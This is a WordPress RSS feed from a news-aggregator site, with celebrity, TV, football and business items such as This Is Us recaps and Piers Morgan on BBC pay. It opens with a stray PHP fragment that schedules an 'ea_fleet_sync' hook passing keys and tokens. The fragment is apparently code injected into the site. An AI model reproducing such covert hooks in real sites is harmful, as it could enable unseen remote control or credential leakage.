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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); beginning – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 10 Mar 2020 18:36:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png beginning – Brief News https://briefnews.eu 32 32 This Is Us Sneak Peek: Is This the True Beginning of Randall and Kevin’s Rift? https://briefnews.eu/this-is-us-sneak-peek-is-this-the-true-beginning-of-randall-and-kevins-rift/ https://briefnews.eu/this-is-us-sneak-peek-is-this-the-true-beginning-of-randall-and-kevins-rift/#respond Tue, 10 Mar 2020 18:36:24 +0000 https://briefnews.eu/this-is-us-sneak-peek-is-this-the-true-beginning-of-randall-and-kevins-rift/

Randall’s anger at his brother hasn’t quite hit full boil in this exclusive sneak peak at tonight’s This Is Us (NBC, 9/8c) — but something’s definitely simmering between Rebecca’s sons.

As you’ll see in the video above, Randall sets up a video call with his siblings to discuss a new plan of attack for Rebecca’s recently diagnosed Alzheimer’s Disease. After so much research that he’s “halfway to medical school,” Randall strongly suggests that Mama Pearson enroll in a nine-month, seemingly in-patient clinical trial.

Oh, and it’s in Cleveland.

“I would like your help getting her on board,” Randall tells Kate and Kevin, who are surprised — to say the least — that he thinks uprooting Rebecca is the best choice right now. “You don’t think all of this is a little premature?” Kevin wonders, while Kate points out that their mom “just got a diagnosis.” But Randall presses on, and as he speaks, you can see Kevin growing less and less comfortable with the idea of moving Rebecca from her home in California.

“This is crazy, right?” Kev asks Kate. “This is nuts.” She points out that the decision ultimately is up to Rebecca, and Randall concurs — though you can start to feel the animosity we glimpsed during his initial visit with a therapist in the previous episode. What are the chances that this conversation is the start of the rift that causes Randall and Kevin to stop speaking by The Big Three’s 40th birthday?

Press PLAY on the video above to watch the tense call unfold, then hit the comments: Would you back Randall’s plan? 

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]]> https://briefnews.eu/this-is-us-sneak-peek-is-this-the-true-beginning-of-randall-and-kevins-rift/feed/ 0 Piers Morgan says it’s ‘beginning of the end’ for BBC in furious tirade over salary list https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/ https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/#respond Wed, 03 Jul 2019 14:47:39 +0000 http://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/

Good Morning Britain host Piers Morgan, 54, launched into a furious tirade over the BBC’s latest salary list following the news over-75s could lose their free licence fee.

Yesterday, BBC director general Lord Tony Hall announced the total talent bill for the broadcaster had risen by £10million, a figure which left many angered.

With the salaries of the stars funded through licence fees paid by the British public, many have asked why the talent are being paid such figures when the BBC have decided to stop over 75s receiving licence fee benefits.

On today’s edition of Good Morning Britain, Piers claimed the public would lose trust in the broadcaster and the latest developments mark the “beginning of the end”.

“I genuinely think it could be the beginning of the end of the BBC,” Piers began.

“If they double down of this TV licence thing, if they tell 3.5 million pensioners we’re effectively going to risk imprisoning you if you don’t pay your licence whilst dishing out millions to their celebrity talent roster and their own executives.

“You watch what happens I’m telling you, it’s the beginning of the end for the BBC because once you lose public trust, then the public desire to help you by giving you money for what you do disappears.”

Later on in the programme, Piers and his co-host Susanna Reid, 48, were joined by political journalists Kevin Maguire and Andrew Pierce to discuss the backlash the BBC are receiving.

Susanna said: “What they [the BBC] promised to do was to take over the responsibility for it,” regarding the decision about the free licence fee for over-75s jointly implemented by the Conservative government and the BBC.

“That was the mistake because unless you’re going to continue to provide those free TV licences [for over 75s] they shouldn’t have agreed to it,” she continued.

READ MORE: BBC outrage as stars’ pay rises 10 percent weeks after free licence fee axed for over 75s

After Lord Hall declined Good Morning Britain’s invitation to discuss the issue, Andrew remarked: “The man who took that decision is a man called Tony Hall, Lord Hall. Where is he?

“He is the one with a load of un-named executives who’ve taken this decision, the number of executive on over 150,000 a year has scored at the BBC, let’s not forget that.

“There are hundreds of them. This is a BBC screw up,” he continued.

In another rant about the issue regarding salaries and the licence fee debate, Pier said: “The BBC took on the responsibility.

“He’s [Lord Hall] the one ducking the show this morning because he basically knows he’s indefensible. I get why many viewers would see these salaries as repulsive.”

Referring to the salary increase specifically, Piers added: “It’s when the public pay for it, there’s an extra responsibility.

“They [the BBC] are the ones who took the decision. If I were Gary Lineker, I would call their bluff. I would attack the decision to take the tv licenses away from the over 75s.”

The BBC and Conservative made a joint decision in 2015 for the BBC to cover the cost of a free licence fee for over-75s until 2022.

The government have since told the BBC to decide whether they want to continue funding the cost for pensioners, with the broadcaster deciding to stop in June 2020.

Debating the government and BBC’s decision, Piers commented: “We can blame the government and they should have held their pledge to continue this to 2022.”

“I think the BBC has handled this so poorly,” journalist Toby young opined.

Piers went on to reveal viewers would find what he and his co-stars earn as extravagant.

“Our salaries are paid for by advertisers and by company partners,” he continued.

“I’m a big fan of the BBC but this is wrong, this is fundamentally wrong. You [the BBC] made a promise to the pensioner

In a blog defending the decision by the BBC to increase salaries, Lord Hall wrote: “They would earn significantly more elsewhere – and recent departures to commercial rivals show this argument isn’t hollow.

“The simple truth is we have spent more than ever on content, but the amount we have spent proportionally on talent has come down.

“But more importantly, whenever we ask the public whether they want big stars on the BBC they say yes. They say yes because they are talented and entertaining. They also say yes as it means they are getting big value from the BBC.”

Good Morning Britain airs weekdays at 6am on ITV.

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]]> https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/feed/ 0 This Is Us Recap: Is This the Beginning of the End for Randall and Beth?! https://briefnews.eu/this-is-us-recap-is-this-the-beginning-of-the-end-for-randall-and-beth/ https://briefnews.eu/this-is-us-recap-is-this-the-beginning-of-the-end-for-randall-and-beth/#respond Wed, 27 Mar 2019 12:30:58 +0000 http://briefnews.eu/this-is-us-recap-is-this-the-beginning-of-the-end-for-randall-and-beth/ Need to catch up? Check out the previous This Is Us recap here. 

In my heart of Randall-and-Beth-loving hearts, I’m pretty sure that the ugly fight that goes down in this week’s This Is Us is survivable. Something to learn and grow from. Something — hopefully? — to file under “unfortunate but surmountable” in the couple’s emotional archive.

This Is Us Recap Season 3 Episode 17But I’m also a worrier. And the hour’s unsettling final moments gave me the same kind of uncertainty about the Pearsons’ marriage that the flash-forward did. So while I certainly hope that the epic argument that frames “R & B” is merely a blip in the couple’s rich history… I’m also aware that we might be witnessing the beginning of the end.

Read on for the episode’s highlights.

‘WHEN HAVE I EVER NOT HAD YOUR BACK?’ | We pick up right after Randall shut the door in the previous episode, with both him and Beth real mad and gearing up for a fight in their bedroom. Randall starts to speak, but Beth interrupts and says that she’s going first. “I am looking at you right now, but I don’t even recognize you,” she says. “Because my husband, the man that I married, would never talk to me the way you did on that voicemail. Ever.” When Randall apologizes and calls the whole thing a “misstep,” she doesn’t give him an inch. “When have I ever not had your back?” she wonders, coming to the conclusion that he’s mad because she won’t give up her life to accommodate his.

Of course, Randall doesn’t agree. He points out how he’s been trekking back and forth between Philadelphia and New Jersey so he can be around to cover her evening classes and such — but she says that’s just evidence that he’s aware he can’t change hermind, but he’s not “on board.” “Damnit, Randall, we have been having the same fight since we met!” she cries.

IT BEGINS | And because this entire hour can’t be Sterling K. Brown and Susan Kelechi Watson yelling at each other, we flash back to the first time Randall and Beth crossed paths. It’s the nametag moment from “Our Little Island Girl,” only this time, we’re watching from his perspective. Soon, it’s a while into the semester, and we witness the moment that Kevin teased Beth about back in Season 2, when he was “Cyrano-ing the entire thing” when Randall called her and asked her out for the first time. As we know, it works: Though Beth is surprised, she seems mildly amused by the boy from her Econ class who got a sudden injection of swagger, and she agrees to dinner.

But the night doesn’t go the way Randall planned, despite his attire (a sportscoat and tie) and the venue (a fancy restaurant). His conversation with Beth is stilted at best, and just when they’re starting to connect on a deeper level — about how both of their fathers recently passed away — the waiter asks them to pre-pay for their meal… which couldn’t possibly have anything to do with the fact that they’re the youngest, blackest couple in the place, could it? Randall, not wanting to have the night ruined, happily pulls out his checkbook (!), but Beth challenges the waiter on why the restaurant’s “policy” is only being applied to them. Then she grabs the flowers Randall brought her and informs him they’re leaving.

“You’re a lot, and this date was a lot,” she tells him in the lobby, adding that her perfect outing would’ve included nachos and ginger beer. “I just thought you deserved a great first date. You deserve everything,” he earnestly counters, and I know he’s sweet and all, but he IS a lot… especially coming from a 19-year-old. Beth gently tells him he’s a good guy, but that he shouldn’t call her again. Back at his dorm room, a goofily happy (and undaunted) Randall announces to his roommate that he’s going to marry Beth.

CONSPICUOUS CONSUMPTION | Skip ahead to seven years later, when Beth and Randall are living together and he’s a nonstop proposal machine. Thing is, even though she’s fully committed to being with him, she’s not ready to get married yet — a point she makes gently but firmly to quell a little of his unbounded enthusiasm for matrimony. It doesn’t work. And while they’re on a mini-golf date, with Rebecca as an awkward third wheel, everything comes to a head. “I don’t want my life to be consumed by my husband’s!” Beth cries. “And Randall, I love you, but you consume things.” While he nurses his hurt feelings, Rebecca takes everything in stride. “You think I want my son winding up with some wallflower?” she says cheerfully. “I’m glad it’s gonna be you.”

Then, on Rebecca’s suggestion, Beth takes Randall to a place that serves nachos and ginger beer, then announces, “OK, I’m ready. Ask me.” But before he does, she makes him agree that they won’t lose themselves in each other, that they’ll be a team. Then he gets down on one knee, already crying, and says: “Beth Clark, you are the love of my life. You are my reason, you are my joy, you are my everything. And I don’t want to do life without you. So, will you marry me?” She gives him an emphatic yes.

THAT’S THE WAY LOVE GOES | Then we cut to the day of their wedding, which is being held in the backyard of Beth and Randall’s new home in New Jersey. Beth looks gorgeous, but she’s panicking: She doesn’t have her vows written yet, and it’s time for everything to get underway. She asks Kate to buy her a few more minutes. Meanwhile, Randall has pages and pages of vows written, but when he tries them out for Kevin, Randall quickly realizes that he didn’t write vows, he “wrote a deeply boring dissertation on marriage” instead. So he starts a last-minute rewrite, too.

When Beth finds out, she storms into the bathroom where he’s working and — while both of them avoid looking at each other (it’s bad luck, after all) — they wind up co-writing what they’ll say to each other during the ceremony. They wind up composing a beautiful promise to each other that includes her saying she’s “never been seen so completely, loved so passionately, protected so fiercely” and him adding that “every part of me belongs to you… except for that very small part of me that I promised to Janet Jackson when I was 16.” Footage of them working on their words is intercut with shots from the ceremony, and at the end, they joyfully jump the broom into life as Mr. and Mrs. Pearson.

This Is Us Recap Season 3 Episode 17NACHO MAMA | This episode really checks off a few items from the list of character milestones we wanted to see, so thanks, This Is Us! To wit: The next scenes take place in the wee hours of the morning when Tess is an infant, as a sleep-deprived Randall and Beth halfheartedly snipe at each other while changing their daughter’s diaper. Randall defuses the situation by offering to make nachos, and Beth happily agrees.

They devour the snack downstairs in the kitchen after Tess goes back to sleep. We see them play “Worst-Case Scenario” for the first time (#historic), and when they start discussing the looming end of Beth’s maternity leave, Randall reassures her that they’ll make it work. “‘Make it work’ usually means I adjust, I make it work,” she tells him, saying that she always has to lose something in order for their lives to run smoothly. Then she delves into a protracted analogy about nachos, and… “What, do you feel like I leave you with the crumbs?” Randall asks, shocked and a little offended. But before they can get into it too much, Beth tables the discussion, and they go back to bed.

This Is Us Recap Season 3 Episode 17LIVING SINGLE (OR TRYING TO, AT LEAST) | Then we jump to the time when Kevin and William were both living with Randall, Beth and the girls. She heads out to spend the day/night at an urban planning conference in Pennsylvania… but then Randall and William run into her as she’s buying red wine and Swedish fish in the local grocery store. Huh?

Randall quickly deduces that she made up the conference so she could spend the night in a hotel, watching movies, quaffing wine and snacking on Swedish fish. “I just needed 24 hours to myself,” she says sheepishly after apologizing for the lie. But when Randall says she should’ve just asked for some time alone, she counters that the last time she did, he didn’t understand and assuaging his hurt feelings was exhausting. He eventually says he’s cool with her taking some me time, but by then they’ve joked about Living Single and she doesn’t want to watch it alone. So she announces that she’s coming home with him and William.

BETH GOES THERE | And then we’re back in the present, with Beth and Randall fuming at each other in the bedroom. “I don’t want to be swallowed up by you and then you sweet-talk me and do whatever the hell you want,” she says. “You have turned me into your mother!” But she’s nowhere near done. “Admit that you think that your job is more important than mine,” she demands, causing Randall to flash back to Jack and Rebecca’s “You are a 40-year-old woman singing covers in pubs!” fight, which he witnessed as a teen. Beth sadly notes that she’s broken the promise they made to each other by losing herself in him, “and you have let me.”

For her final blow, Beth vows not to give up teaching dance. “I am not going to bend. And that’s the problem,” she says. “Our lives don’t work unless I’m doing the bending. It doesn’t, and we both know it.” Ouch.

But Randall refuses to accept her “revisionist history,” looking at her like she’s lost her mind. “In what universe have I been steamrolling you for the last 20 years?” he asks. “I refused to be blamed for the fact that you had your awakening 20 years too late.” Double ouch.

But then Beth lands the killing blow, citing Randall’s anxiety attacks as part of the reason she hasn’t been able to follow her dreams. Quintuple ouch. The moment it’s out of her mouth, Beth’s face falls like she can’t quite believe what she’s just said. Horrified, she immediately apologizes, but Randall’s done. He’s going to Philly, because “I do not want to be in this house with you right now,” he announces.

So he sleeps at his campaign office. She cries in their bedroom. And absolutely nobody is happy as the episode goes to black.

Now it’s your turn. What did you think of the episode? Hit the comments!

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]]> https://briefnews.eu/this-is-us-recap-is-this-the-beginning-of-the-end-for-randall-and-beth/feed/ 0 Fantastic Beasts 2: Nagini twist just the beginning – JK Rowling teases even BIGGER shock https://briefnews.eu/fantastic-beasts-2-nagini-twist-just-the-beginning-jk-rowling-teases-even-bigger-shock/ https://briefnews.eu/fantastic-beasts-2-nagini-twist-just-the-beginning-jk-rowling-teases-even-bigger-shock/#respond Wed, 03 Oct 2018 08:51:32 +0000 http://briefnews.eu/fantastic-beasts-2-nagini-twist-just-the-beginning-jk-rowling-teases-even-bigger-shock/

In last week’s final trailer, the character of Nagini – a Maledictus – was unveiled, as played by Claudia Kim.

She, it turns out, is inflicted with a blood curse that enables her to switch at will between human and snake – although she’s inevitably doomed to eventually end up a permanent serpent, going on to be Voldemort’s right-hand-snake in the Harry Potter stories.

That twist sent shockwaves round the fanbase last week – but it seems there may be more shocks in store.

Posting to Twitter, writer JK Rowling said actor Ezra Miller, who plays Credence Barebone, was stunned by what’s ahead.

“@jk_rowling I would love to see Ezra Miller’s reaction when he read that Claudia was playing Nagini or that Nagini was in this saga?” one follower wrote.

She answered: “That definitely wasn’t Ezra’s biggest shock. #FantasticBeasts.”

So what could be ahead? Fans will have to keep guessing ahead of the sequel’s release next month.

For now, controversy continues over Kim’s casting in the franchise.

It was noted last week that there are only two women of East Asian descent in leading roles in the Harry Potter universe: underused love interest Cho Chang, and now Nagini – who ultimately becomes a Nazi-inspired supervillain’s pet.

Rowling responded: “The Naga are snake-like mythical creatures of Indonesian mythology, hence the name ‘Nagini.’

“They are sometimes depicted as winged, sometimes as half-human, half-snake. Indonesia comprises a few hundred ethnic groups, including Javanese, Chinese and Betawi.”

The film has also faced backlash for the involvement of Johnny Depp, and the lack of acknowledgement or reference to Dumbledore’s homosexuality.

Fans argued of the latter point that there’s no point in Rowling confirming his orientation if it’s never going to be represented in any way on screen or on the page.

The new Fantastic Beasts sees Eddie Redmayne, Katherine Waterston, Dan Fogler and Alison Sudol reprising their roles; with Zoe Kravitz, Callum Turner and William Nadylam also aboard.

The film is the second of a planned five in the series.

Fantastic Beasts: The Crimes of Grindelwald is out on November 16.

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]]> https://briefnews.eu/fantastic-beasts-2-nagini-twist-just-the-beginning-jk-rowling-teases-even-bigger-shock/feed/ 0 Shares in Juventus FC have doubled since it bought Cristiano Ronaldo, and it’s probably only the beginning (IT0000336, IT0000336) https://briefnews.eu/shares-in-juventus-fc-have-doubled-since-it-bought-cristiano-ronaldo-and-its-probably-only-the-beginning-it0000336-it0000336/ https://briefnews.eu/shares-in-juventus-fc-have-doubled-since-it-bought-cristiano-ronaldo-and-its-probably-only-the-beginning-it0000336-it0000336/#respond Tue, 18 Sep 2018 14:19:57 +0000 http://briefnews.eu/shares-in-juventus-fc-have-doubled-since-it-bought-cristiano-ronaldo-and-its-probably-only-the-beginning-it0000336-it0000336/ Cristiano Ronaldo at JuventusGetty Images

  • Cristiano Ronaldo is up-and-running in the Serie A goalscoring charts.
  • But the Portuguese striker’s greatest work is arguably being done away from the pitch.
  • This is because shares in Juventus have doubled since his arrival. The club’s market capitalisation is now €1.5 billion ($ 1.75 billion).
  • But this is probably just the beginning as the club looks to increase broadcasting revenue, sponsorship revenue, and attract a global audience.
  • Fans only care about one thing, though. Success. Specifically: success in the Champions League.
  • Juventus head coach Massimiliano Allegri warned that the Champions League is “difficult” but also said that with Ronaldo in the team, they are far more likely to win it.
  • Read all of Business Insider’s coverage for the 2018-2019 soccer season right here.

Cristiano Ronaldo has officially opened his goalscoring account at new club Juventus FC.

After three matches without a Serie A goal, Ronaldo ended his mini-drought on Sunday when he struck twice against Sassuolo and was rewarded with a score of 8.54 out of 10 by data-crunching soccer website Whoscored.com — his best performance in a Juventus jersey to date.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/shares-in-juventus-fc-have-doubled-since-it-bought-cristiano-ronaldo-and-its-probably-only-the-beginning-it0000336-it0000336/feed/ 0 Chase Rolls Out New Travel Booking Site Beginning Today https://briefnews.eu/chase-rolls-out-new-travel-booking-site-beginning-today/ https://briefnews.eu/chase-rolls-out-new-travel-booking-site-beginning-today/#respond Sun, 12 Aug 2018 18:00:07 +0000 http://briefnews.eu/chase-rolls-out-new-travel-booking-site-beginning-today/

Chase Rolls Out New Travel Booking Site Beginning Today

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]]> https://briefnews.eu/chase-rolls-out-new-travel-booking-site-beginning-today/feed/ 0 Killing Eve: Hulu to Stream Season 1, Beginning in Late 2018 https://briefnews.eu/killing-eve-hulu-to-stream-season-1-beginning-in-late-2018/ https://briefnews.eu/killing-eve-hulu-to-stream-season-1-beginning-in-late-2018/#respond Wed, 06 Jun 2018 01:26:04 +0000 http://briefnews.eu/killing-eve-hulu-to-stream-season-1-beginning-in-late-2018/

Did you miss out on BBC America’s buzzy crime thriller Killing Eve? Not to worry: You’ll be able to catch up soon on Hulu.